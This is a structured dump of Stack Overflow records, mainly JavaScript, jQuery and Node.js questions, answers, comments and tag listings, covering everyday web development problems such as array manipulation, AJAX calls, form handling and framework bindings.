has body: Since it is a array of objects, you can't use splice directly over the array inorder to remove the element. (this example uses jQuery) var findAndRemove = function(array, property, value) { $.each(array, function(index, result) { if(result[property] == value) { array.splice(index, 1); } } } You need to pass vocabArray and id and value as function parameter findAndRemove(vocabArray, "id", 1); EDIT To support normal javascript (NOT TESTED) var findAndRemove = function(array, value) { for(var i=0; i &lt; array.length; i++) { if(array[i].id == value) { array.splice(i, 1); } } } Call by findAndRemove(vocabArray, 1);

http://stackoverflow.com/comment/40308374
has text: Something like JSF's equivalent of JSP's session.invalidate() but possibly specific variable-wise, or, PHP's session_unset() ? In our case, it's perfectly fine if all values are lost between separate searches. Everything could be cleared short of login I suppose...
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25700728
score: 0

http://stackoverflow.com/q/25609806
upvote count: 0
type: AnsweredQuestion
has title: what is the conventional way of using Backbone.js and Underscore.js with Grunt?
tagged with: underscore.js
has body: I am creating a grunt project that uses backbone.js and underscore.js I've included these 2 using npm install backbone --save-dev and npm install underscore --save-dev. Clearly it is now in my package.json. I just want to know if there is a conventional way of using backbone.js and underscore.js together with grunt Like does it need to use require.js to include backbone and underscore in my gruntfile, or an html script tag will do ( &lt;script src="path/underscore.js"&gt;&lt;script&gt; and &lt;script src="path/backbone.js"&gt;&lt;script&gt;) ? thanks
has answer: http://stackoverflow.com/a/25614658
has answer: http://stackoverflow.com/a/25615663
accepted answer: http://stackoverflow.com/a/25615663
score: -1
tagged with: gruntjs
type: Question
answer count: 2
tagged with: javascript
tagged with: backbone.js
possible better answer: http://stackoverflow.com/a/25614658
downvote count: 1
favorite count: 0

http://stackoverflow.com/comment/40125103
comment on: http://stackoverflow.com/a/25582898
has text: with the modulus tool version 1.1.1 it works just with "modulus deploy"
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40389630
comment on: http://stackoverflow.com/q/25704151
score: 0
type: Comment
type: QuestionComment
has text: @Xan if you add this as answer iw ould accept it :) thanks.

http://stackoverflow.com/comment/40131223
type: AnswerComment
comment on: http://stackoverflow.com/a/25677178
score: 0
type: Comment
has text: marksealey You need to use Bueonosairestring (not BueonosaireString )

http://stackoverflow.com/q/25670336
has body: Is it possible in any method to bind a function to events on cross domain iframe ? I have tried the following with no success jQuery("#itranpayform").load(function () { jQuery(this).contents().find("body").on('click','#sumli', function( event ) { alert(123); }); });
tagged with: javascript
has comment: http://stackoverflow.com/comment/40116490
has title: Cross domain iframe click event
downvote count: 0
has comment: http://stackoverflow.com/comment/40116502
tagged with: jquery
favorite count: 0
type: UnansweredQuestion
score: 2
answer count: 0
upvote count: 2
type: Question

http://stackoverflow.com/comment/40120973
comment on: http://stackoverflow.com/q/25672866
type: Comment
type: QuestionComment
score: 0
has text: @blex, thanks, it's solution

http://stackoverflow.com/q/25566745
tagged with: carousel
upvote count: 3
type: Question
score: 3
has answer: http://stackoverflow.com/a/39270734
has title: Blueimp Gallery : External link on carousel images
tagged with: javascript
tagged with: blueimp
answer count: 2
downvote count: 0
has body: I've set up a carousel with Blueimp Gallery plugin (https://github.com/blueimp/Gallery), it's working but when i click on a image, i want to disable the controls toggle and instead have the default link behaviour to another page of the website. I need the indicators to be always visible. Is it possible to use "a" tag's href value to go to another page ? HTML : JS: blueimp.Gallery( document.getElementById('images-slider').getElementsByTagName('a'), { container: '#slider', carousel: true, thumbnailIndicators: false, urlProperty: 'link' } ); here's a fiddle : http://jsfiddle.net/0hb7gdeq/1/ thx
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/27106434

http://stackoverflow.com/a/25705718
answers question: http://stackoverflow.com/q/25705645
score: 4
has body: This may be a bit cumbersome but you can use this query: query = "SELECT * FROM user WHERE (? IS NULL || first = ?) AND (? IS NULL || last = ?)"; Just be sure at least one parameter is not null (either in the query or in js). ETA: If you use the named parameter format (:param instead of ?) this will save you some repetition as well.
accepted answer of: http://stackoverflow.com/q/25705645
type: Answer
upvote count: 4
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40289462
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25738105
has text: No I will check it out
type: AnswerComment

http://stackoverflow.com/q/25684754
has comment: http://stackoverflow.com/comment/40142046
tagged with: jquery
has answer: http://stackoverflow.com/a/25684790
has title: jquery progressbar with value not working
type: AnsweredQuestion
has body: I want two progressbar with value specified in the data-value,but both values is same html jquery var t=$(".p").closest("div").data('value'); alert(t); $(".p").progressbar({ value:t }); http://jsfiddle.net/s7uxtbu7/9/
type: Question
accepted answer: http://stackoverflow.com/a/25684808
tagged with: jquery-ui
possible better answer: http://stackoverflow.com/a/25684790
tagged with: javascript
has answer: http://stackoverflow.com/a/25684808
score: 0
answer count: 2

http://stackoverflow.com/comment/40087379
has text: What is the `global` parameter for?
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25654094

http://stackoverflow.com/comment/40047157
type: AnswerComment
has text: btw, props on quick answer. +1
type: Comment
comment on: http://stackoverflow.com/a/25631565
score: 0

http://stackoverflow.com/comment/40073342
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25646178
has text: Then please post also your html source code. Probply you used a wrong method for submi the data.

highcharts
tags question: http://stackoverflow.com/q/25656710
tags question: http://stackoverflow.com/q/25648745
tags question: http://stackoverflow.com/q/25622582
tags question: http://stackoverflow.com/q/25555393
tags question: http://stackoverflow.com/q/25664248
tags question: http://stackoverflow.com/q/25692812
tags question: http://stackoverflow.com/q/25672524
tags question: http://stackoverflow.com/q/25641542
tags question: http://stackoverflow.com/q/25641275
tags question: http://stackoverflow.com/q/25684320
tags question: http://stackoverflow.com/q/25567081
tags question: http://stackoverflow.com/q/25585385
tags question: http://stackoverflow.com/q/25649230
tags question: http://stackoverflow.com/q/25679439
tags question: http://stackoverflow.com/q/25700781
tags question: http://stackoverflow.com/q/25619236
tags question: http://stackoverflow.com/q/25657093
tags question: http://stackoverflow.com/q/25693242
tags question: http://stackoverflow.com/q/25580638
tags question: http://stackoverflow.com/q/25630811
tags question: http://stackoverflow.com/q/25699007
tags question: http://stackoverflow.com/q/25620299
tags question: http://stackoverflow.com/q/25623811
tags question: http://stackoverflow.com/q/25645208
tags question: http://stackoverflow.com/q/25603800
tags question: http://stackoverflow.com/q/25551270
tags question: http://stackoverflow.com/q/25686870
tags question: http://stackoverflow.com/q/25620157
tags question: http://stackoverflow.com/q/25594889
tags question: http://stackoverflow.com/q/25573022
tags question: http://stackoverflow.com/q/25665935
tags question: http://stackoverflow.com/q/25649369
tags question: http://stackoverflow.com/q/25685336
tags question: http://stackoverflow.com/q/25602380
tags question: http://stackoverflow.com/q/25606469
tags question: http://stackoverflow.com/q/25587566
tags question: http://stackoverflow.com/q/25637792
type: Tag
tags question: http://stackoverflow.com/q/25554039
tags question: http://stackoverflow.com/q/25686323
tags question: http://stackoverflow.com/q/25597751
tag name: highcharts
tags question: http://stackoverflow.com/q/25654427

http://stackoverflow.com/comment/40055871
type: QuestionComment
score: 0
has text: $array = json_decode("json string",true); ?? Then loop the array
comment on: http://stackoverflow.com/q/25636839
type: Comment

http://stackoverflow.com/comment/40176034
type: QuestionComment
type: Comment
has text: Create a jsbin. Also, call the setTimeout after you have decremented the `countDown` var.
score: 0
comment on: http://stackoverflow.com/q/25702944

http://stackoverflow.com/a/25620439
type: Answer
answers question: http://stackoverflow.com/q/25620365
has comment: http://stackoverflow.com/comment/40026077
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40026854
has body: The following syntax may help: location.href.replace(/[?#].*$/, '#/view') It will replace everything after (and together with) ? or # in the string with #/view.
upvote count: 1
has comment: http://stackoverflow.com/comment/40026746
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40026709
has comment: http://stackoverflow.com/comment/40026128
accepted answer of: http://stackoverflow.com/q/25620365

uploading
tags question: http://stackoverflow.com/q/25660956
tag name: uploading
type: Tag

http://stackoverflow.com/comment/40080732
type: Comment
comment on: http://stackoverflow.com/a/25649161
type: AnswerComment
score: 0
has text: I press Strg + A. Then i choosed extensions. There i activated the Debug-Mode. So i can see the console.log output in the standard debugging tool from Firefox.

http://stackoverflow.com/q/25686592
tagged with: ajax
tagged with: datatable
has title: Post row datas from DataTable to an Ajax Form
has comment: http://stackoverflow.com/comment/40146509
has comment: http://stackoverflow.com/comment/40146803
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25687657
has body: I have a set of JSON data that are displayed using datatables. In one of the columns, I add a button and a text box only if the value in that column and another column meets a certain condition. this is the bit of code I used to do this: $(document).ready(function (){ var alertTable = $('#alert-table').DataTable({ "jQueryUI": true, "order": [ 3, 'desc' ], "columns": [ { "data": "source", "visible": false }, { "data": "host" }, { "data": "priority" }, { "data": "ack", "render": function( data, type, row ) { if (row.ack == "0" &amp;&amp; row.priority &gt; "2") { return '&lt;form&gt;&lt;input class="ackname" type="text" value="Enter your name"&gt;&lt;input class="ackbutton" type="button" value="Ack Alert" onclick="&lt;get all items for that row and POST to a URL&gt;"&gt;&lt;/form&gt;'; } return data; } }, ], "language": { "emptyTable": "No Alerts Available in Table" } }); }); This works fine by adding a button and text in the cell. What I am looking to achieve is, when any of the button is been clicked, it should POST all the values for that row including what is typed in the text box to a URL which has another function that would extract those details and update the database and send back the refreshed data. I am new to datatables and jquery, any guide would be highly appreciated.
type: Question
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40146693
answer count: 1
tagged with: jquery
has comment: http://stackoverflow.com/comment/40146933

internet-explorer-8
tags question: http://stackoverflow.com/q/25551442
tags question: http://stackoverflow.com/q/25682514
type: Tag
tag name: internet-explorer-8
tags question: http://stackoverflow.com/q/25657548
tags question: http://stackoverflow.com/q/25612971
tags question: http://stackoverflow.com/q/25608546
tags question: http://stackoverflow.com/q/25631140
tags question: http://stackoverflow.com/q/25645208
tags question: http://stackoverflow.com/q/25648668
tags question: http://stackoverflow.com/q/25679164
tags question: http://stackoverflow.com/q/25556693
tags question: http://stackoverflow.com/q/25658857
tags question: http://stackoverflow.com/q/25553595
tags question: http://stackoverflow.com/q/25557112
tags question: http://stackoverflow.com/q/25609506

http://stackoverflow.com/a/25625270
type: Answer
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/25625065
has body: You should instead declare your background as follows: style="background-image: url(data:image ... );" Beware, however, that if you intend to use larger images the URI you're going to try to open may be too large.
answers question: http://stackoverflow.com/q/25625065
has comment: http://stackoverflow.com/comment/40034932
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40079914
type: Comment
comment on: http://stackoverflow.com/a/25647218
type: AnswerComment
has text: Thanks. I've tested a bit and I can see that window.external works. My issue at hand for the moment is returning the value from the Javascript to the code-behind (as this sends a parameter which the C# application needs to approve or not). Any suggestions?
score: 0

http://stackoverflow.com/comment/39997233
comment on: http://stackoverflow.com/q/25604593
score: 0
type: Comment
has text: **[Don't add language tags in your question's title.](http://stackoverflow.com/help/tagging)** Everyone else: A rollback war ain't gonna help.
type: QuestionComment

http://stackoverflow.com/q/25595472
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/39984708
has title: Angular and Typescript explicit module registration or not
tagged with: typescript
has answer: http://stackoverflow.com/a/25596824
type: AnsweredQuestion
has body: I'm using typescript and angular for an application and I noticed that even if I don't use angular.module("x").controler('app.controllername',app.controllername); the controller does get register, but it goes to window.app.controllername and angular can find it and the controller is normally loaded to any view that uses it. is there a problem using this approach ? having it register "automagically" this way? thanks
tagged with: javascript
has comment: http://stackoverflow.com/comment/39980420
tagged with: angularjs
type: Question
accepted answer: http://stackoverflow.com/a/25596824
possible better answer: http://stackoverflow.com/a/26213393
has answer: http://stackoverflow.com/a/26213393
has comment: http://stackoverflow.com/comment/39982167

http://stackoverflow.com/comment/41464616
comment on: http://stackoverflow.com/a/25683606
type: Comment
has text: But when I set my canvas size twice bigger, in this example it will become twice as browser window width (and so I will get horizontal scroll) and actual canvas height will be 1260 - not 630 as I need. I don't understand your anti-alias tip.
type: AnswerComment
score: 0

http://stackoverflow.com/a/25643929
type: AcceptedAnswer
type: Answer
downvote count: 0
has body: As far as I know, there's no universal way of doing that. Mostly because there's obvious and considerable security concerns involved and thus you usually don't get direct access to the filesystem. As a work-around for Chrome, you can try looking at Native Messaging (from this excellent answer). You'd need to research similar solutions for other browsers.
has comment: http://stackoverflow.com/comment/40206394
score: 1
accepted answer of: http://stackoverflow.com/q/25641336
has comment: http://stackoverflow.com/comment/40286044
has comment: http://stackoverflow.com/comment/40105240
answers question: http://stackoverflow.com/q/25641336
upvote count: 1

http://stackoverflow.com/q/25668771
tagged with: post
has answer: http://stackoverflow.com/a/37237858
answer count: 2
downvote count: 0
tagged with: jquery
favorite count: 0
has title: Track basic HTML form post progress
type: UnansweredQuestion
score: 7
tagged with: forms
has comment: http://stackoverflow.com/comment/40119943
upvote count: 7
has body: I have a basic HTML form that submits normally, no ajax at all. This form submits to the same file using regular post. I don't use AJAX because the form has 12 text fields and a minimum of 1 image but possibility of up to 26 images and ajax can't do both forms and images at once, I have to save to a DB and it's a lot of extra work over AJAX. The problem is I need to track form upload progress somehow. Most programmers know to look in the lower left or right corner of their browsers to see form submission progress. But most people don't know this. So I want to display a progress bar. The problem is all progress bars I have found use XHR requests by ajax. Since the form isn't ajax I can't seem to find a way to track the progress. So is there a way to intercept the browsers internal submission progress to see the percentage of upload completed for the form? EDIT I've tried the following code at the start of the page but it doesn't work. I guess because either XHR is for AJAX or the browser has it's own that needs Hijacking, but I have no clue what that would be called or how to get to it if so: xhr = new XMLHttpRequest(); xhr.upload.addEventListener( "progress", function ( evt ) { if( evt.lengthComputable ) { var progressPercent = ( evt.loaded / evt.total ) * 100; console.log( value ); } }, false );
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25672496

http://stackoverflow.com/q/25695098
accepted answer: http://stackoverflow.com/a/25695131
has title: Knockout js binding not updating
score: 0
has body: I have a view model that contains a reference to another object and the referenced object is bound to my UI. The bindings seem to work fine when I'm adding objects to the observable array but don't seem to update when I clear the array. I've reproduced the issue is jsfiddle and I'm wondering if someone can point me in the right direction? http://jsfiddle.net/chriswnichols/gcywcce7/ function County(name) { this.Name = name; } function ListCriteria() { var self = this; self.States = ko.observableArray([]); self.Counties = ko.observableArray([]); self.Zips = ko.observableArray([]); self.Cities = ko.observableArray([]); self.DobRanges = ko.observableArray([]); self.Clear = function () { self.States = ko.observableArray([]); self.Counties = ko.observableArray([]); self.Zips = ko.observableArray([]); self.Cities = ko.observableArray([]); self.DobRanges = ko.observableArray([]); }; } var ViewModel = function () { var listCriteria = new ListCriteria(), reset = ko.computed(function () { listCriteria.Clear(); }); return { listCriteria: listCriteria, reset: reset } }; viewModel = new ViewModel(); ko.applyBindings(viewModel); Thanks.
has answer: http://stackoverflow.com/a/25695131
favorite count: 0
upvote count: 1
downvote count: 1
type: AnsweredQuestion
tagged with: observable
tagged with: knockout.js
type: Question
answer count: 1
tagged with: arrays
tagged with: javascript

http://stackoverflow.com/q/25569120
tagged with: deezer
has comment: http://stackoverflow.com/comment/39932960
upvote count: 1
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39931812
answer count: 0
downvote count: 0
score: 1
has body: I've tried to embed a radio in a blog of mine, but despite having autoplay turned off it goes on automatically after time I open the page. How do I sort this out? I have already tried deleted the autoplay message, but that didn't work either. Could you please fix this or make the code correctly written so I have autoplay turned off? Here's the code right now:
favorite count: 0
type: Question
tagged with: http://stackoverflow.com/tag/html
has title: How Do I Inactivate Autoplay?

http://stackoverflow.com/comment/40138788
has text: Well, as an argument of `addSelect()` I pass a number to be looped through to print my selects.
score: 0
comment on: http://stackoverflow.com/q/25682105
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40174029
has text: You mean in node? How do I do that? Will try
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25699084
type: Comment

http://stackoverflow.com/a/25597281
answers question: http://stackoverflow.com/q/25597223
score: 1
upvote count: 1
has body: Have you checked the console? It's always the place to start. Part of the problem is that you have button_id in single quotes. I assume that button_id is a variable name, and should not be in quotes. Also, you should be using innerHTML instead of text. This should work: &lt;script type=.innerHTML/javascript"&gt; var state = "&lt;?php echo $var; ?&gt;"; document.getElementById('open').innerHTML = state; function toggleText(button_id) { if (document.getElementById(button_id).innerHTML == "Open") { document.getElementById(button_id).innerHTML = "Close"; } else { document.getElementById(button_id).innerHTML = "Open"; } } &lt;/script&gt; &lt;a id="open" onclick="toggleText('open')" href="#"&gt;&lt;/a&gt;
type: Answer
downvote count: 0

http://stackoverflow.com/comment/40117099
comment on: http://stackoverflow.com/q/25670134
score: 0
type: Comment
type: QuestionComment
has text: Here is what appears when i console log error messages https://imageshack.us/i/iduC09Dap

http://stackoverflow.com/comment/40154663
comment on: http://stackoverflow.com/a/25656825
type: AnswerComment
type: Comment
score: 0
has text: I had a minor typo in the HTML for the bs-popover directive where I forgot to close the a tag. I'm adding a plunkr to my original post on how to do this.

http://stackoverflow.com/q/25664130
score: 0
answer count: 1
tagged with: javascript
tagged with: jquery
has body: I am using jqplot for making pie chart.. In this i want to create a pie chart like following image.. It is Possible to do that?? using jqplot
has title: Pie Chart With Pattern fill : Jqplot Issues
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25967395
type: Question
type: AnsweredQuestion
tagged with: jqplot
has answer: http://stackoverflow.com/a/25967395

http://stackoverflow.com/q/25557313
type: AnsweredQuestion
tagged with: submenu
has answer: http://stackoverflow.com/a/25595911
type: Question
tagged with: google-sheets
answer count: 1
tagged with: javascript
has title: Google Spreadsheet Creating a parameterised / dynamic menu
score: 0
accepted answer: http://stackoverflow.com/a/25595911
has body: I am trying to make a menu interface for a Google Docs Spreadsheet. The goal is to have the ability to click the menu and select a mode (one of a mutually exclusive list) which will then trigger the scripts to adapt the data accordingly. I am able to make the functions, but the choice of modes is dynamic (selecting a user, the list of users may change, but is a small list). I can make the menu update the list of menu entries, but as each can only call a function I can find no easy way to get the information of "which mode" back into the script. Ideally I would like to have a submenu with ~5-10 entries which when clicked will all call the same function but with the menu text or an index as the parameter. Is there any way to do this? E.g menu with items Choice A, Choice B, Choice C When clicked they trigger a function activateChosenMode(choice), so that if I later add a Choice D into my list of available choices this works too.

http://stackoverflow.com/q/25572588
favorite count: 0
type: UnansweredQuestion
has title: Webdriver - actions.draganddrop not working in w3schools page
tagged with: selenium-webdriver
score: 1
tagged with: selenium
upvote count: 1
tagged with: webdriver
type: Question
has body: The dragAndDrop of Actions is not working on the w3schools page: same code works on other page Here is the code that i tried. WebDriver driver = new FirefoxDriver(); driver.get("http://www.w3schools.com/html/html5_draganddrop.asp"); driver.manage().window().maximize(); Actions actions = new Actions(driver); actions.dragAndDrop(driver.findElement(By.id("div1")), driver.findElement(By.id("div2"))).build().perform();
tagged with: javascript
has answer: http://stackoverflow.com/a/25575448
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/40115282
has text: If thats a limitation you should use openshift , it have 3GB free storage.
comment on: http://stackoverflow.com/q/25643705
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/25649594
linked to: http://stackoverflow.com/q/684672
has comment: http://stackoverflow.com/comment/40078896
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40078845
has title: How to access mapped objects in Javascript
has body: for the past six months I have been programming in nothing but OBJ-C and JAVA so I have been very used to being able accessing objects using object loops In my JS program I am trying to access all of my created mapped objects and loop through them. How can I get a certain index's object (instead of using my mapped object reference). IE var g = new game(); currentGames[23234395]= g Lets say I have added three games. I need to be able to get the game by index not by the mapped number (which is just a unique id my data base and I need) for(var i = 0;i&lt;currentGames.length;i++) { var g = currentGames[i]; } causes an error (obviously) Is there any other way of accessing an object by index rather than my map? EDIT: I would like to know if i can do something like the following for(var g in currentGames) { } and g hold a reference to my game object at that index.
tagged with: object
answer count: 0
tagged with: loops
has comment: http://stackoverflow.com/comment/40078958
type: Question
duplicate of: http://stackoverflow.com/q/684672
has comment: http://stackoverflow.com/comment/40079225
tagged with: javascript
score: 0

concurrency
tag name: concurrency
tags question: http://stackoverflow.com/q/25672332
type: Tag
tags question: http://stackoverflow.com/q/25576279

http://stackoverflow.com/comment/40051170
type: AnswerComment
has text: noted! but i tried that first tho, now i'm hunting for points
type: Comment
comment on: http://stackoverflow.com/a/25633968
score: 0

http://stackoverflow.com/a/25670182
has comment: http://stackoverflow.com/comment/67044712
accepted answer of: http://stackoverflow.com/q/25669883
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25669883
downvote count: 0
type: AcceptedAnswer
has body: Actually, it seems to be more a Mocha problem. Here is what I did thanks to that other similar SO answer: adding --debug-brk to the Application parameters in the Run/Debug Configuration.
has comment: http://stackoverflow.com/comment/130567712
type: Answer

http://stackoverflow.com/comment/39913020
has text: Only 0.000 should be legal.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25559025
type: AnswerComment

http://stackoverflow.com/a/25578375
type: Answer
answers question: http://stackoverflow.com/q/25577734
has comment: http://stackoverflow.com/comment/39980131
has comment: http://stackoverflow.com/comment/40078987
has body: I don't know if it was on purpose, but I think you're calculating the scroll percentage in a wrong way. I used this scroll percentage calculation: var targetHeight = ths.outerHeight(); var relativeToViewport = ths.offset().top - sT; var scrollPercent = 1 - (targetHeight - relativeToViewport) / targetHeight; The flickering appears, because the fadeOut function is called everytime the scroll event is fired and the div passed the bottom halfway. You should save this state by using a class (or variable), e.g.: $('.color:not(.hide)').each(function(){ ... if((relativeToViewport + ths.height()) &lt; wH){ ths.fadeOut(2000); ths.addClass('hide'); } }); You can see my solution in this fiddle
score: 0
has comment: http://stackoverflow.com/comment/40074257

http://stackoverflow.com/comment/40137744
has text: Cool, if this issue is answered you can mark your own answer as the answer so people know this was the solution
comment on: http://stackoverflow.com/a/25673383
type: AnswerComment
score: 0
type: Comment

node.js
tags question: http://stackoverflow.com/q/25614096
tags question: http://stackoverflow.com/q/25645993
tags question: http://stackoverflow.com/q/25575972
tags question: http://stackoverflow.com/q/25595217
tags question: http://stackoverflow.com/q/25649538
tags question: http://stackoverflow.com/q/25572068
tags question: http://stackoverflow.com/q/25573897
tags question: http://stackoverflow.com/q/25631772
tags question: http://stackoverflow.com/q/25698660
tags question: http://stackoverflow.com/q/25637530
tags question: http://stackoverflow.com/q/25648364
tags question: http://stackoverflow.com/q/25607545
tags question: http://stackoverflow.com/q/25674525
tags question: http://stackoverflow.com/q/25683274
tags question: http://stackoverflow.com/q/25587485
tags question: http://stackoverflow.com/q/25671472
tags question: http://stackoverflow.com/q/25607934
tags question: http://stackoverflow.com/q/25624742
tags question: http://stackoverflow.com/q/25602653
tags question: http://stackoverflow.com/q/25634356
tags question: http://stackoverflow.com/q/25670275
tags question: http://stackoverflow.com/q/25712508
tags question: http://stackoverflow.com/q/25648318
tags question: http://stackoverflow.com/q/25626075
tags question: http://stackoverflow.com/q/25697692
tags question: http://stackoverflow.com/q/25630519
tags question: http://stackoverflow.com/q/25686994
tags question: http://stackoverflow.com/q/25578589
tags question: http://stackoverflow.com/q/25562763
tags question: http://stackoverflow.com/q/25612294
tags question: http://stackoverflow.com/q/25687630
tags question: http://stackoverflow.com/q/25694723
tags question: http://stackoverflow.com/q/25638579
tags question: http://stackoverflow.com/q/25640222
tags question: http://stackoverflow.com/q/25654796
tags question: http://stackoverflow.com/q/25566160
tags question: http://stackoverflow.com/q/25651068
tags question: http://stackoverflow.com/q/25561388
tags question: http://stackoverflow.com/q/25691055
tags question: http://stackoverflow.com/q/25596955
tags question: http://stackoverflow.com/q/25563179
tags question: http://stackoverflow.com/q/25606709
tags question: http://stackoverflow.com/q/25564719
tags question: http://stackoverflow.com/q/25630926
tags question: http://stackoverflow.com/q/25684641
tags question: http://stackoverflow.com/q/25584565
tags question: http://stackoverflow.com/q/25599046
tags question: http://stackoverflow.com/q/25584830
tags question: http://stackoverflow.com/q/25575837
tags question: http://stackoverflow.com/q/25581976
tags question: http://stackoverflow.com/q/25631356
tags question: http://stackoverflow.com/q/25601416
tags question: http://stackoverflow.com/q/25676487
tags question: http://stackoverflow.com/q/25661511
tags question: http://stackoverflow.com/q/25701763
tags question: http://stackoverflow.com/q/25578180
tags question: http://stackoverflow.com/q/25692139
tags question: http://stackoverflow.com/q/25568638
tags question: http://stackoverflow.com/q/25604276
tags question: http://stackoverflow.com/q/25552348
tags question: http://stackoverflow.com/q/25675153
tags question: http://stackoverflow.com/q/25676630
tags question: http://stackoverflow.com/q/25677087
tags question: http://stackoverflow.com/q/25620798
tags question: http://stackoverflow.com/q/25635787
tags question: http://stackoverflow.com/q/25672043
tags question: http://stackoverflow.com/q/25693912
tags question: http://stackoverflow.com/q/25652355
tags question: http://stackoverflow.com/q/25556429
tags question: http://stackoverflow.com/q/25579379
tags question: http://stackoverflow.com/q/25589681
tags question: http://stackoverflow.com/q/25701623
tags question: http://stackoverflow.com/q/25617573
tags question: http://stackoverflow.com/q/25659134
tags question: http://stackoverflow.com/q/25681558
tags question: http://stackoverflow.com/q/25612652
tags question: http://stackoverflow.com/q/25657446
tags question: http://stackoverflow.com/q/25615961
tags question: http://stackoverflow.com/q/25699257
tags question: http://stackoverflow.com/q/25628432

http://stackoverflow.com/comment/39990174
comment on: http://stackoverflow.com/q/25592770
has text: I suggest you take some time to familiarize yourself with the jQuery API. It should not take more than a day to have a look at every jQuery function and get a feeling for how they work.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25654688
has comment: http://stackoverflow.com/comment/40088655
type: Answer
answers question: http://stackoverflow.com/q/25654520
has body: Having two XML items with the same ID is not valid. You will not be able to target the second instance with a duplicate ID. ID's should be unique. If you want an attribute to be the same between elements you would use a class. Without knowing the rest of your code, you would do something like this: &lt;path class="base" d="M105.321,475.585c0..."/&gt; &lt;path class="collor" d="M207.452,17.68c..."/&gt; JS: $('.genderButton').click(function(){ $(this).find('.base').css('fill', 'white'); $(this).find('.collor').css('fill', 'yellow'); }); With the assumption that genderButton is the class of the buttons that you click on.
score: 0

http://stackoverflow.com/comment/39941805
has text: No but tab bar is not look like same as in above fiddle ..:( you underline the tab but is not buttons ..please check first two fiddles
type: AnswerComment
comment on: http://stackoverflow.com/a/25574383
score: 0
type: Comment

assign
tags question: http://stackoverflow.com/q/25695948
tag name: assign
type: Tag

http://stackoverflow.com/q/25702231
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40175485
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40174751
has answer: http://stackoverflow.com/a/25703022
answer count: 2
tagged with: soundcloud
has answer: http://stackoverflow.com/a/25703212
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40174657
tagged with: ajax
score: 0
possible better answer: http://stackoverflow.com/a/25703212
has body: I am trying to resolve a SoundCloud URL to a track ID, so I later on can use the track ID with SC.stream(). This code works, but since it's async it doesn't work with the rest of my code: $.getJSON( 'http://api.soundcloud.com/resolve.json?url=' + trackUrl + '&amp;client_id=' + clientId, function(result) { console.log('Track ID: ' + result.id); setTrackId(result.id); } ); I'm trying to do the same thing with .ajax() so it can be async, but I can't get that to work. Console shows a GET error. Here's the code: $.ajax({ url: 'http://api.soundcloud.com/resolve.json?url=' + trackUrl + '&amp;client_id=' + clientId, dataType: 'json', async: false, success: function(result) { console.log('Track ID: ' + result.id); setTrackId(result.id); } }); How can I get my ajax code to work? Or am I doing this all wrong? Tried to search for an answer but didn't find anything useful. Thanks. EDIT: Here's the rest of my code: http://codepen.io/etzolin/pen/Jonqe
accepted answer: http://stackoverflow.com/a/25703022
has title: $.getJSON() gets me data, $.ajax() does not
has comment: http://stackoverflow.com/comment/40174656
has comment: http://stackoverflow.com/comment/40175447
linked to: http://stackoverflow.com/q/5922175
has comment: http://stackoverflow.com/comment/40174778
has comment: http://stackoverflow.com/comment/40175564

http://stackoverflow.com/comment/40014192
type: Comment
comment on: http://stackoverflow.com/q/25613924
type: QuestionComment
has text: @TiffanyLowe Sure, i will add one
score: 0

jquery-templates
type: Tag
tags question: http://stackoverflow.com/q/25712065
tag name: jquery-templates

http://stackoverflow.com/comment/39935643
has text: Even that and a doLayout/render doesn't seem to work. I'm thinking this might not be possible in extjs 3.4
type: Comment
comment on: http://stackoverflow.com/a/25569521
score: 0
type: AnswerComment

http://stackoverflow.com/a/25625939
has body: You don't need to redefine $scope or $state as you have already injected it into your controller: $scope.startListenToScroll = function() { // ... } $scope.startListenToScroll();
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25625865
downvote count: 0
type: Answer

http://stackoverflow.com/a/25682004
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25658786
type: Answer
accepted answer of: http://stackoverflow.com/q/25658786
has body: Ok thanks to a guy on IRC i fixed this problem, i just had to change this: var getLangFile = function (langCode) { var deferred = $q.defer() , cache = $cacheFactory('langCache'); to var cache = $cacheFactory('langCache') , getLangFile = function (langCode) { var deferred = $q.defer();

http://stackoverflow.com/comment/39947430
type: Comment
comment on: http://stackoverflow.com/q/25577189
type: QuestionComment
has text: That depends how you define it.
score: 0

http://stackoverflow.com/a/25650116
type: Answer
has comment: http://stackoverflow.com/comment/40079819
has comment: http://stackoverflow.com/comment/40079759
has body: Combine all of the arrays, sort them, then get the last 5 values. var total = array1.concat(array2, array3); total = total.sort(function(a,b){return a-b}); //Now total[length-5] is the 5th largest value //total[length-4] is the 4th largest and so on
answers question: http://stackoverflow.com/q/25649881
score: 0

http://stackoverflow.com/comment/39934197
has text: `console.log(status)` yields `'error'` and `console.log(xhr.responseText)` yields `undefined`.
comment on: http://stackoverflow.com/q/25555611
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25618810
type: Question
